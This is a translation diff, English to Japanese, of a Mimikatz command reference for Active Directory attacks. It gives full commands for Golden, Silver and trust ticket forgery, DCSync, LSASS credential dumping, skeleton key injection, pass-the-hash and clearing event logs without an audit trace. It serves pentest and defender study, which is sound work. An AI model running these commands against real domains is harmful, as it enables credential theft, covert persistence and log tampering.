[![Mimikatz-Event-Drop](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Event-Drop.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Event-Drop.png) -Note:\ -Run privilege::debug then event::drop to patch the event log. Then run Event::Clear to clear the event log without any log cleared event (1102) being logged. +注意:\ +privilege::debugを実行してからevent::dropを実行してイベントログをパッチします。その後、Event::Clearを実行してイベントログをクリアしますが、クリアされたイベントログ(1102)はログに記録されません。 ### KERBEROS -#### Golden Ticket +#### ゴールデンチケット -A Golden Ticket is a TGT using the KRBTGT NTLM password hash to encrypt and sign. +ゴールデンチケットは、KRBTGT NTLMパスワードハッシュを使用して暗号化および署名されたTGTです。 -A Golden Ticket (GT) can be created to impersonate any user (real or imagined) in the domain as a member of any group in the domain (providing a virtually unlimited amount of rights) to any and every resource in the domain. +ゴールデンチケット(GT)は、ドメイン内の任意のユーザー(実在または想像上)をドメイン内の任意のグループのメンバーとして偽装することができます(ほぼ無制限の権限を提供)ドメイン内の任意のリソースに対して。 -**Mimikatz Golden Ticket Command Reference:** +**Mimikatzゴールデンチケットコマンドリファレンス:** -The Mimikatz command to create a golden ticket is “kerberos::golden” +ゴールデンチケットを作成するためのMimikatzコマンドは「kerberos::golden」です。 -* /domain – the fully qualified domain name. In this example: “lab.adsecurity.org”. -* /sid – the SID of the domain. In this example: “S-1-5-21-1473643419-774954089-2222329127”. -* /sids – Additional SIDs for accounts/groups in the AD forest with rights you want the ticket to spoof. Typically, this will be the Enterprise Admins group for the root domain “S-1-5-21-1473643419-774954089-5872329127-519”. T[his parameter adds the provided SIDs to the SID History parameter.](https://adsecurity.org/?p=1640) -* /user – username to impersonate -* /groups (optional) – group RIDs the user is a member of (the first is the primary group).\ - Add user or computer account RIDs to receive the same access.\ - Default Groups: 513,512,520,518,519 for the well-known Administrator’s groups (listed below). -* /krbtgt – NTLM password hash for the domain KDC service account (KRBTGT). Used to encrypt and sign the TGT. -* /ticket (optional) – provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use. -* /ptt – as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use. -* /id (optional) – user RID. Mimikatz default is 500 (the default Administrator account RID). -* /startoffset (optional) – the start offset when the ticket is available (generally set to –10 or 0 if this option is used). Mimikatz Default value is 0. -* /endin (optional) – ticket lifetime. Mimikatz Default value is 10 years (\~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes). -* /renewmax (optional) – maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (\~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes). -* /sids (optional) – set to be the SID of the Enterprise Admins group in the AD forest (\[ADRootDomainSID]-519) to spoof Enterprise Admin rights throughout the AD forest (AD admin in every domain in the AD Forest). -* /aes128 – the AES128 key -* /aes256 – the AES256 key +* /domain – 完全修飾ドメイン名。この例では「lab.adsecurity.org」です。 +* /sid – ドメインのSID。この例では「S-1-5-21-1473643419-774954089-2222329127」です。 +* /sids – スプーフしたいアカウント/グループの追加SID。通常、これはルートドメインのEnterprise Adminsグループである「S-1-5-21-1473643419-774954089-5872329127-519」です。[このパラメータは提供されたSIDをSID Historyパラメータに追加します。](https://adsecurity.org/?p=1640) +* /user – 偽装するユーザー名 +* /groups (オプション) – ユーザーが所属するグループのRID(最初のものがプライマリグループです)。\ +同じアクセスを受けるためにユーザーまたはコンピューターアカウントのRIDを追加します。\ +デフォルトのグループ: 513,512,520,518,519は、よく知られた管理者グループ(以下にリストされています)です。 +* /krbtgt – ドメインのKDCサービスアカウント(KRBTGT)のNTLMパスワードハッシュ。TGTを暗号化および署名するために使用されます。 +* /ticket (オプション) – ゴールデンチケットファイルを後で使用するために保存するパスと名前を指定するか、/pttを使用してゴールデンチケットを直ちにメモリに注入します。 +* /ptt – /ticketの代わりに、このオプションを使用して偽造されたチケットを直ちにメモリに注入します。 +* /id (オプション) – ユーザーRID。Mimikatzのデフォルトは500です(デフォルトのAdministratorアカウントRID)。 +* /startoffset (オプション) – チケットが利用可能になる開始オフセット(このオプションを使用する場合、通常は-10または0に設定されます)。Mimikatzのデフォルト値は0です。 +* /endin (オプション) – チケットの有効期間。Mimikatzのデフォルト値は10年(約5,262,480分)です。Active DirectoryのデフォルトのKerberosポリシー設定は10時間(600分)です。 +* /renewmax (オプション) – 更新とともにチケットの最大有効期間。Mimikatzのデフォルト値は10年(約5,262,480分)です。Active DirectoryのデフォルトのKerberosポリシー設定は7日間(10,080分)です。 +* /sids (オプション) – ADフォレストのEnterprise AdminsグループのSIDに設定されます(\[ADRootDomainSID]-519)。これにより、ADフォレスト内のすべてのドメインでAD管理者権限をスプーフできます。 +* /aes128 – AES128キー +* /aes256 – AES256キー -Golden Ticket Default Groups: - -* Domain Users SID: S-1-5-21\-513 -* Domain Admins SID: S-1-5-21\-512 -* Schema Admins SID: S-1-5-21\-518 -* Enterprise Admins SID: S-1-5-21\-519 (this is only effective when the forged ticket is created in the Forest root domain, though add using /sids parameter for AD forest admin rights) -* Group Policy Creator Owners SID: S-1-5-21\-520 +ゴールデンチケットのデフォルトグループ: +* ドメインユーザーSID: S-1-5-21\-513 +* ドメイン管理者SID: S-1-5-21\-512 +* スキーマ管理者SID: S-1-5-21\-518 +* Enterprise Admins SID: S-1-5-21\-519(これは偽造チケットがフォレストルートドメインで作成された場合にのみ有効ですが、ADフォレスト管理者権限を持つために/sidsパラメータを使用して追加します) +* グループポリシー作成者所有者SID: S-1-5-21\-520 ``` .\mimikatz "kerberos::golden /User:Administrator /domain:rd.lab.adsecurity.org /id:512 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit ``` +[異なるドメイン間のゴールデンチケット](https://adsecurity.org/?p=1640) -[Golden tickets across domains](https://adsecurity.org/?p=1640) +#### シルバーチケット -#### Silver Ticket +シルバーチケットは、ターゲットサービスアカウント(SPNマッピングによって識別される)のNTLMパスワードハッシュを使用して暗号化および署名されたTGS(TGTと同じ形式)です。 -A Silver Ticket is a TGS (similar to TGT in format) using the target service account’s (identified by SPN mapping) NTLM password hash to encrypt and sign. - -**Example Mimikatz Command to Create a Silver Ticket:** - -The following Mimikatz command creates a Silver Ticket for the CIFS service on the server adsmswin2k8r2.lab.adsecurity.org. In order for this Silver Ticket to be successfully created, the AD computer account password hash for adsmswin2k8r2.lab.adsecurity.org needs to be discovered, either from an AD domain dump or by running Mimikatz on the local system as shown above (_Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit_). The NTLM password hash is used with the /rc4 paramteer. The service SPN type also needs to be identified in the /service parameter. Finally, the target computer’s fully-qualified domain name needs to be provided in the /target parameter. Don’t forget the domain SID in the /sid parameter. +**シルバーチケットを作成するためのMimikatzの例コマンド:** +以下のMimikatzコマンドは、サーバーadsmswin2k8r2.lab.adsecurity.orgのCIFSサービスのためのシルバーチケットを作成します。このシルバーチケットを正常に作成するためには、adsmswin2k8r2.lab.adsecurity.orgのADコンピューターアカウントのパスワードハッシュを、ADドメインのダンプから取得するか、上記のようにローカルシステムでMimikatzを実行して取得する必要があります(_Mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit_)。NTLMパスワードハッシュは/rc4パラメーターとともに使用されます。サービスSPNタイプも/serviceパラメーターで特定する必要があります。最後に、対象コンピューターの完全修飾ドメイン名を/targetパラメーターで指定する必要があります。/sidパラメーターにはドメインSIDを忘れずに指定してください。 ``` mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit ``` +#### [**信頼チケット**](https://adsecurity.org/?p=1588) -#### [**Trust Ticket**](https://adsecurity.org/?p=1588) - -Once the Active Directory Trust password hash is determined, a trust ticket can be generated. The trust tickets are created using the shared password between 2 Domains that trust each other.\ -[More background on Trust Tickets.](https://adsecurity.org/?p=1588) - -**Dumping trust passwords (trust keys)** +Active Directoryの信頼パスワードハッシュが判明したら、信頼チケットを生成することができます。信頼チケットは、互いに信頼する2つのドメイン間で共有されるパスワードを使用して作成されます。 +[信頼チケットに関する詳細な情報](https://adsecurity.org/?p=1588) +**信頼パスワード(信頼キー)のダンプ** ``` Mimikatz “privilege::debug” “lsadump::trust /patch” exit ``` +**Mimikatzを使用して偽の信頼チケット(異なる領域のTGT)を作成する** -**Create a forged trust ticket (inter-realm TGT) using Mimikatz** - -Forge the trust ticket which states the ticket holder is an Enterprise Admin in the AD Forest (leveraging SIDHistory, “sids”, across trusts in Mimikatz, my “contribution” to Mimikatz). This enables full administrative access from a child domain to the parent domain. Note that this account doesn’t have to exist anywhere as it is effectively a Golden Ticket across the trust. - +Mimikatzを使用して、信頼チケットを偽造します。このチケットには、チケット保持者がADフォレストのエンタープライズ管理者であることが記載されています(Mimikatzの信頼間でのSIDHistory、"sids"を利用して、私がMimikatzに"貢献"したものです)。これにより、子ドメインから親ドメインへの完全な管理アクセスが可能になります。なお、このアカウントは実際にはどこにも存在しなくても構いません。それは実質的には信頼間のゴールデンチケットです。 ``` Mimikatz “Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi” exit ``` +トラストチケットの特定の必須パラメーター: -Trust Ticket Specific Required Parameters: +* \*\*/\*\*target – ターゲットドメインのFQDN。 +* \*\*/\*\*service – ターゲットドメインで実行されているKerberosサービス(krbtgt)。 +* \*\*/\*\*rc4 – サービスKerberosサービスアカウント(krbtgt)のNTLMハッシュ。 +* \*\*/\*\*ticket – 後で使用するために偽造されたチケットファイルを保存するためのパスと名前を指定するか、/pttを使用してゴールデンチケットを直ちにメモリに注入します。 -* \*\*/\*\*target – the target domain’s FQDN. -* \*\*/\*\*service – the kerberos service running in the target domain (krbtgt). -* \*\*/\*\*rc4 – the NTLM hash for the service kerberos service account (krbtgt). -* \*\*/\*\*ticket – provide a path and name for saving the forged ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use. +#### **さらにKERBEROS** -#### **More KERBEROS** +**KERBEROS::List** – ユーザーのメモリ内にあるすべてのユーザーチケット(TGTおよびTGS)をリストします。現在のユーザーのチケットのみ表示するため、特別な特権は必要ありません。\ +「klist」と同様の機能です。 -**KERBEROS::List** – List all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current user’s tickets.\ -Similar to functionality of “klist”. +**KERBEROS::PTC** – キャッシュを渡す(NT6)\ +Mac OS、Linux、BSD、Unixなどの\*NixシステムはKerberosの資格情報をキャッシュします。このキャッシュされたデータはMimikatzを使用してコピーして渡すことができます。また、ccacheファイルにKerberosチケットを注入するのにも便利です。 -**KERBEROS::PTC** – pass the cache (NT6)\ -\*Nix systems like Mac OS, Linux,BSD, Unix, etc cache Kerberos credentials. This cached data can be copied off and passed using Mimikatz. Also useful for injecting Kerberos tickets in ccache files. - -A good example of Mimikatz’s kerberos::ptc is when [exploiting MS14-068 with PyKEK](https://adsecurity.org/?p=676). PyKEK generates a ccache file which can be injected with Mimikatz using kerberos::ptc. +Mimikatzのkerberos::ptcの良い例は、[PyKEKを使用してMS14-068を攻撃する場合](https://adsecurity.org/?p=676)です。PyKEKはccacheファイルを生成し、kerberos::ptcを使用してMimikatzに注入することができます。 [![Mimikatz-PTC-PyKEK-ccacheFile](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-PTC-PyKEK-ccacheFile.jpg)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-PTC-PyKEK-ccacheFile.jpg) -**KERBEROS::PTT** – pass the ticket\ -After a [Kerberos ticket is found](https://adsecurity.org/?p=1667), it can be copied to another system and passed into the current session effectively simulating a logon without any communication with the Domain Controller. No special rights required.\ -Similar to SEKURLSA::PTH (Pass-The-Hash). +**KERBEROS::PTT** – チケットを渡す\ +[Kerberosチケットが見つかった後](https://adsecurity.org/?p=1667)、別のシステムにコピーして現在のセッションに渡すことで、ドメインコントローラーとの通信なしにログオンをシミュレートすることができます。特別な権限は必要ありません。\ +SEKURLSA::PTH(Pass-The-Hash)と同様の機能です。 -* /filename – the ticket’s filename (can be multiple) -* /diretory – a directory path, all .kirbi files inside will be injected. +* /filename – チケットのファイル名(複数指定可能) +* /diretory – ディレクトリパス。内部のすべての.kirbiファイルが注入されます。 [![KerberosUnConstrainedDelegation-Mimikatz-PTT-LS-Ticket2](https://adsecurity.org/wp-content/uploads/2015/09/KerberosUnConstrainedDelegation-Mimikatz-PTT-LS-Ticket2.png)](https://adsecurity.org/wp-content/uploads/2015/09/KerberosUnConstrainedDelegation-Mimikatz-PTT-LS-Ticket2.png) -**KERBEROS::Purge** – purge all Kerberos tickets\ -Similar to functionality of “klist purge”. Run this command before passing tickets (PTC, PTT, etc) to ensure the correct user context is used. +**KERBEROS::Purge** – すべてのKerberosチケットを削除します\ +「klist purge」の機能と同様です。チケット(PTC、PTTなど)を渡す前にこのコマンドを実行して、正しいユーザーコンテキストが使用されるようにします。 [![Mimikatz-Kerberos-Purge](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Kerberos-Purge.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Kerberos-Purge.png) -**KERBEROS::TGT** – get current TGT for current user. +**KERBEROS::TGT** – 現在のユーザーの現在のTGTを取得します。 [![Mimikatz-Kerberos-TGT](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Kerberos-TGT.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Kerberos-TGT.png) ### LSADUMP -**LSADUMP**::**DCShadow** – Set the current machines as DC to have the habitability to create new objects inside the DC (persistent method).\ -This requires full AD admin rights or KRBTGT pw hash.\ -DCShadow temporarily sets the computer to be a “DC” for the purposes of replication: +**LSADUMP**::**DCShadow** – 現在のマシンをDCとして設定し、DC内で新しいオブジェクトを作成できるようにします(永続的な方法)。\ +これには完全なAD管理権限またはKRBTGTパスワードハッシュが必要です。\ +DCShadowは、レプリケーションの目的で一時的にコンピュータを「DC」として設定します。 -* Creates 2 objects in the AD forest Configuration partition. -* Updates the SPN of the computer used to include “GC” (Global Catalog) and “E3514235-4B06-11D1-AB04-00C04FC2DCD2” (AD Replication). More info on Kerberos Service Principal Names in the [ADSecurity SPN section](https://adsecurity.org/?page\_id=183). -* Pushes the updates to DCs via DrsReplicaAdd and KCC. -* Removes the created objects from the Configuration partition. +* ADフォレストの構成パーティションに2つのオブジェクトを作成します。 +* 使用されるコンピュータのSPNに「GC」(グローバルカタログ)と「E3514235-4B06-11D1-AB04-00C04FC2DCD2」(ADレプリケーション)を含めます。Kerberosサービスプリンシパル名に関する詳細は、[ADSecurity SPNセクション](https://adsecurity.org/?page\_id=183)を参照してください。 +* DrsReplicaAddおよびKCCを介して更新をDCにプッシュします。 +* 構成パーティションから作成されたオブジェクトを削除します。 -**LSADUMP::DCSync** – ask a DC to synchronize an object (get password data for account)\ -[Requires membership in Domain Administrator, domain Administrators, or custom delegation.](https://adsecurity.org/?p=1729) +**LSADUMP::DCSync** – DCにオブジェクトの同期を要求し(アカウントのパスワードデータを取得する)、[ドメイン管理者、ドメイン管理者、またはカスタムデリゲーションのメンバーシップが必要です。](https://adsecurity.org/?p=1729) -A major feature added to Mimkatz in August 2015 is “DCSync” which effectively “impersonates” a Domain Controller and requests account password data from the targeted Domain Controller. +Mimikatzには、2015年8月に追加された主な機能として、「DCSync」があります。これにより、対象のドメインコントローラーからアカウントのパスワードデータを要求することができます。 -**DCSync Options:** +**DCSyncオプション:** -* /all – DCSync pull data for the entire domain. -* /user – user id or SID of the user you want to pull the data for. -* /domain (optional) – FQDN of the Active Directory domain. Mimikatz will discover a DC in the domain to connect to. If this parameter is not provided, Mimikatz defaults to the current domain. -* /csv – export to csv -* /dc (optional) – Specify the Domain Controller you want DCSync to connect to and gather data. +* /all – ドメイン全体のデータをDCSyncで取得します。 +* /user – データを取得したいユーザーのユーザーIDまたはSID。 +* /domain(オプション) – Active DirectoryドメインのFQDN。Mimikatzはドメイン内のDCに接続するためにDCを検出します。このパラメーターが指定されていない場合、Mimikatzは現在のドメインをデフォルトとします。 +* /csv – csv形式でエクスポートします。 +* /dc(オプション) – DCSyncが接続してデータを収集するドメインコントローラーを指定します。 -There’s also a /guid parameter. +/guidパラメーターもあります。 -**DCSync Command Examples:** +**DCSyncコマンドの例:** -Pull password data for the KRBTGT user account in the rd.adsecurity.org domain:\ -_Mimikatz “lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt” exit_ +rd.adsecurity.orgドメインのKRBTGTユーザーアカウントのパスワードデータを取得する:\ +_Mimikatz "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt" exit_ -Pull password data for the Administrator user account in the rd.adsecurity.org domain:\ -_Mimikatz “lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator” exit_ +rd.adsecurity.orgドメインのAdministratorユーザーアカウントのパスワードデータを取得する:\ +_Mimikatz "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit_ -Pull password data for the ADSDC03 Domain Controller computer account in the lab.adsecurity.org domain:\ -_Mimikatz “lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$” exit_ +lab.adsecurity.orgドメインのADSDC03ドメインコントローラーコンピューターアカウントのパスワードデータを取得する:\ +_Mimikatz "lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$" exit_ -**LSADUMP::LSA** – Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use /patch for a subset of data, use /inject for everything. _Requires System or Debug rights._ +**LSADUMP::LSA** – LSAサーバーにSAM/ADエンタープライズを取得するように要求します(通常、フライ上のパッチまたはインジェクト)。データの一部を取得するには/patchを使用し、すべてを取得するには/injectを使用します。_システムまたはデバッグ権限が必要です。_ -* /inject – Inject LSASS to extract credentials -* /name – account name for target user account -* /id – RID for target user account -* /patch – patch LSASS. - -Often service accounts are members of Domain Admins (or equivalent) or a Domain Admin was recently logged on to the computer an attacker dump credentials from. Using these credentials, an attacker can gain access to a Domain Controller and get all domain credentials, including the KRBTGT account NTLM hash which is used to create Kerberos Golden Tickets. +* /inject – LSASSをインジェクトして資格情報を抽出します。 +* /name – 対象のユーザーアカウントのアカウント名 +* /id – 対象のユーザーアカウントのRID +* /patch – LSASSをパッチします。 +サービスアカウントは通常、ドメイン管理者(または同等の権限)のメンバーであるか、最近ドメイン管理者がコンピュータにログオンしていた場合、攻撃者は資格情報をダンプすることができます。これらの資格情報を使用して、攻撃者はドメインコントローラーにアクセスし、KRBTGTアカウントのNTLMハッシュを取得することができます。これはKerberosゴールデンチケットの作成に使用されます。 ``` mimikatz lsadump::lsa /inject exit ``` - **LSADUMP::NetSync** -NetSync provides a simple way to use a DC computer account password data to impersonate a Domain Controller via a Silver Ticket and DCSync the target account’s information including the password data\_.\_ +NetSyncは、DCコンピューターアカウントのパスワードデータを使用して、シルバーチケットを介してドメインコントローラーになりすまし、ターゲットアカウントの情報(パスワードデータを含む)をDCSyncする簡単な方法を提供します。 -**LSADUMP::SAM** – get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. +**LSADUMP::SAM** - SAMエントリを復号化するためのSysKeyを取得します(レジストリまたはハイブから)。SAMオプションは、ローカルのセキュリティアカウントマネージャー(SAM)データベースに接続し、ローカルアカウントの資格情報をダンプします。 -**LSADUMP::Secrets** – get the SysKey to decrypt SECRETS entries (from registry or hives). +**LSADUMP::Secrets** - SysKeyを取得して、SECRETSエントリ(レジストリまたはハイブから)を復号化します。 -**LSADUMP::SetNTLM** – Ask a server to set a new password/ntlm for one user. +**LSADUMP::SetNTLM** - サーバーに対して1つのユーザーの新しいパスワード/NTLMを設定するように要求します。 -[**LSADUMP::Trust**](https://adsecurity.org/?p=1588) – Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). +[**LSADUMP::Trust**](https://adsecurity.org/?p=1588) - LSAサーバーに対して信頼認証情報(通常またはパッチ適用時)を取得するように要求します。 ### MISC -[**MISC::Skeleton**](https://adsecurity.org/?p=1275) – Inject Skeleton Key into LSASS process on Domain Controller. - +[**MISC::Skeleton**](https://adsecurity.org/?p=1275) - ドメインコントローラーのLSASSプロセスにスケルトンキーを注入します。 ``` "privilege::debug" "misc::skeleton" ``` - ### PRIVILEGE -**PRIVILEGE::Backup** – get backup privilege/rights. Requires Debug rights. +**PRIVILEGE::Backup** – バックアップ特権/権限を取得します。デバッグ権限が必要です。 -**PRIVILEGE::Debug** – get debug rights (this or Local System rights is required for many Mimikatz commands). +**PRIVILEGE::Debug** – デバッグ権限を取得します(これまたはローカルシステム権限は、多くのMimikatzコマンドで必要です)。 ### SEKURLSA -**SEKURLSA::Credman** – List Credentials Manager +**SEKURLSA::Credman** – 資格情報マネージャーをリストします。 -**SEKURLSA::Ekeys** – List **Kerberos encryption keys** +**SEKURLSA::Ekeys** – Kerberos暗号キーをリストします。 -**SEKURLSA::Kerberos** – List Kerberos credentials for all authenticated users (including services and computer account) +**SEKURLSA::Kerberos** – 認証されたすべてのユーザー(サービスおよびコンピューターアカウントを含む)のKerberos資格情報をリストします。 -**SEKURLSA::Krbtgt** – get Domain Kerberos service account (KRBTGT)password data +**SEKURLSA::Krbtgt** – ドメインのKerberosサービスアカウント(KRBTGT)のパスワードデータを取得します。 -**SEKURLSA::SSP** – Lists SSP credentials +**SEKURLSA::SSP** – SSP資格情報をリストします。 -**SEKURLSA::Wdigest** – List WDigest credentials +**SEKURLSA::Wdigest** – WDigest資格情報をリストします。 -**SEKURLSA::LogonPasswords** – lists all available provider credentials. This usually shows recently logged on user and computer credentials. +**SEKURLSA::LogonPasswords** – 利用可能なプロバイダーの資格情報をリストします。通常、最近ログオンしたユーザーとコンピューターの資格情報が表示されます。 -* Dumps password data in LSASS for currently logged on (or recently logged on) accounts as well as services running under the context of user credentials. -* Account passwords are stored in memory in a reversible manner. If they are in memory (prior to Windows 8.1/Windows Server 2012 R2 they were), they are displayed. Windows 8.1/Windows Server 2012 R2 doesn’t store the account password in this manner in most cases. KB2871997 “back-ports” this security capability to Windows 7, Windows 8, Windows Server 2008R2, and Windows Server 2012, though the computer needs additional configuration after applying KB2871997. -* Requires administrator access (with debug rights) or Local SYSTEM rights +- 現在ログオンしている(または最近ログオンした)アカウントのパスワードデータをLSASSにダンプします。ユーザーの資格情報のコンテキストで実行されているサービスも含まれます。 +- アカウントのパスワードは、逆向きに格納されています。メモリ内に格納されている場合(Windows 8.1/Windows Server 2012 R2以前はそうでした)、表示されます。Windows 8.1/Windows Server 2012 R2では、ほとんどの場合、アカウントのパスワードはこの方法で格納されません。ただし、KB2871997は、Windows 7、Windows 8、Windows Server 2008R2、およびWindows Server 2012にこのセキュリティ機能を「バックポート」します。ただし、KB2871997を適用した後、コンピューターには追加の設定が必要です。 +- 管理者アクセス(デバッグ権限を持つ)またはローカルシステム権限が必要です。 -**SEKURLSA::Minidump** – switch to LSASS minidump process context (read lsass dump) +**SEKURLSA::Minidump** – LSASSのミニダンププロセスコンテキストに切り替えます(lsassのダンプを読み取ります)。 -**SEKURLSA::Pth** – Pass-the-Hash and Over-Pass-the-Hash (aka pass the key). +**SEKURLSA::Pth** – パス・ザ・ハッシュおよびオーバーパス・ザ・ハッシュ(別名:キーのパス)。 -_Mimikatz can perform the well-known operation ‘Pass-The-Hash’ to run a process under another credentials with NTLM hash of the user’s password, instead of its real password. For this, it starts a process with a fake identity, then replaces fake information (NTLM hash of the fake password) with real information (NTLM hash of the real password)._ +_Mimikatzは、NTLMハッシュを使用してプロセスを別の資格情報で実行するための「パス・ザ・ハッシュ」として知られる操作を実行できます。これにより、偽のアイデンティティでプロセスを開始し、偽の情報(偽のパスワードのNTLMハッシュ)を実際の情報(実際のパスワードのNTLMハッシュ)で置き換えます。_ -* /user – the username you want to impersonate, keep in mind that Administrator is not the only name for this well-known account. -* /domain – the fully qualified domain name – without domain or in case of local user/admin, use computer or server name, workgroup or whatever. -* /rc4 or /ntlm – optional – the RC4 key / NTLM hash of the user’s password. -* /run – optional – the command line to run – default is: cmd to have a shell. +- /user – 擬似化したいユーザー名です。Administratorはこのよく知られたアカウントの名前ではないことに注意してください。 +- /domain – 完全修飾ドメイン名です。ドメインがない場合、またはローカルユーザー/管理者の場合は、コンピューター名、サーバー名、ワークグループなどを使用します。 +- /rc4または/ntlm – オプション – ユーザーのパスワードのRC4キー/NTLMハッシュです。 +- /run – オプション – 実行するコマンドラインです。デフォルトは: シェルを持つためにcmdです。 [![Mimikatz-Sekurlsa-PTH](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Sekurlsa-PTH.jpg)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Sekurlsa-PTH.jpg) -**SEKURLSA::Tickets** – Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account.\ -Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users). +**SEKURLSA::Tickets** – 最近認証されたすべてのユーザー、ユーザーアカウントのコンテキストで実行されているサービス、およびローカルコンピュータのADコンピュータアカウントを含む、すべての利用可能なKerberosチケットをリストします。\ +kerberos::listとは異なり、sekurlsaはメモリの読み取りを使用しており、キーのエクスポート制限の対象ではありません。sekurlsaは他のセッション(ユーザー)のチケットにアクセスできます。 -* /export – optional – tickets are exported in .kirbi files. They start with user’s LUID and group number (0 = TGS, 1 = client ticket(?) and 2 = TGT) +- /export – オプション – チケットは.kirbiファイルにエクスポートされます。ユーザーのLUIDとグループ番号(0 = TGS、1 = クライアントチケット(?)、2 = TGT)で始まります。 -Similar to credential dumping from LSASS, using the sekurlsa module, an attacker can get all Kerberos ticket data in memory on a system, including those belonging to an admin or service.\ -This is extremely useful if an attacker has compromised a web server configured for Kerberos delegation that users access with a backend SQL server. This enables an attacker to capture and reuse all user tickets in memory on that server. +LSASSからの資格情報のダンプと同様に、sekurlsaモジュールを使用して、システム上のすべてのKerberosチケットデータを取得できます。これには、管理者またはサービスに属するチケットも含まれます。\ +これは、ユーザーがバックエンドのSQLサーバーにアクセスするために使用するKerberos委任が構成されたWebサーバーを攻撃者が侵害した場合に非常に便利です。これにより、攻撃者はそのサーバー上のメモリ内のすべてのユーザーチケットをキャプチャして再利用できます。 -The “kerberos::tickets” mimikatz command dumps the current logged-on user’s Kerberos tickets and does not require elevated rights. Leveraging the sekurlsa module’s capability to read from protected memory (LSASS), all Kerberos tickets on the system can be dumped. +コマンド: _mimikatz sekurlsa::tickets exit_ -Command: _mimikatz sekurlsa::tickets exit_ - -* Dumps all authenticated Kerberos tickets on a system. -* Requires administrator access (with debug) or Local SYSTEM rights +- システム上のすべての認証されたKerberosチケットをダンプします。 +- 管理者アクセス(デバッグ)またはローカルシステム権限が必要です。 ### **SID** -The Mimikatz SID module replaces MISC::AddSID. Use SID::Patch to patch the ntds service. +MimikatzのSIDモジュールは、MISC::AddSIDを置き換えます。SID::Patchを使用してntdsサービスをパッチします。 -**SID::add** – Add a SID to SIDHistory of an object +**SID::add** – オブジェクトのSIDHistoryにSIDを追加します。 [![Mimikatz-SID-add](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-SID-add.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-SID-add.png) -**SID::modify** – Modify object SID of an object +**SID::modify** – オブジェクトのSIDを変更します。 [![Mimikatz-SID-Modify](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-SID-Modify.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-SID-Modify.png) ### **TOKEN** -The Mimikatz Token module enables Mimikatz to interact with Windows authentication tokens, including grabbing and impersonating existing tokens. +MimikatzのTokenモジュールは、Windowsの認証トークンとのやり取りを可能にし、既存のトークンを取得および模倣することができます。 -**TOKEN::Elevate** – impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box using the Windows API.\ -_Requires Administrator rights._ +**TOKEN::Elevate** – トークンを模倣します。デフォルトでは、権限をSYSTEMに昇格させるか、Windows APIを使用してボックス上のドメイン管理者トークンを見つけます。\ +_管理者権限が必要です。_ [![Mimikatz-Token-Elevate1](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Token-Elevate1-1.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Token-Elevate1-1.png) -Find a domain admin credential on the box and use that token: _token::elevate /domainadmin_ +ボックス上でドメイン管理者の資格情報を見つけ、そのトークンを使用します: _token::elevate /domainadmin_ [![Mimikatz-Token-Elevate-DomainAdmin](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Token-Elevate-DomainAdmin.jpg)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Token-Elevate-DomainAdmin.jpg) -**TOKEN::List** – list all tokens of the system +**TOKEN::List** – システムのすべてのトークンをリストします。 ### **TS** -**TS::MultiRDP** – (experimental) Patch Terminal Server service to allow multiple users - -[![Mimikatz-TS-MultiRDP](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-TS-MultiRDP.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-TS-MultiRDP.png) - -**TS::Sessions** – List TS/RDP sessions. - -![](https://adsecurity.org/wp-content/uploads/2017/11/Mimikatz-TS-Sessions.png) +**TS::MultiRDP** – (実験的)複数のユーザーを許可するためにターミナルサーバーサービスをパッチします。 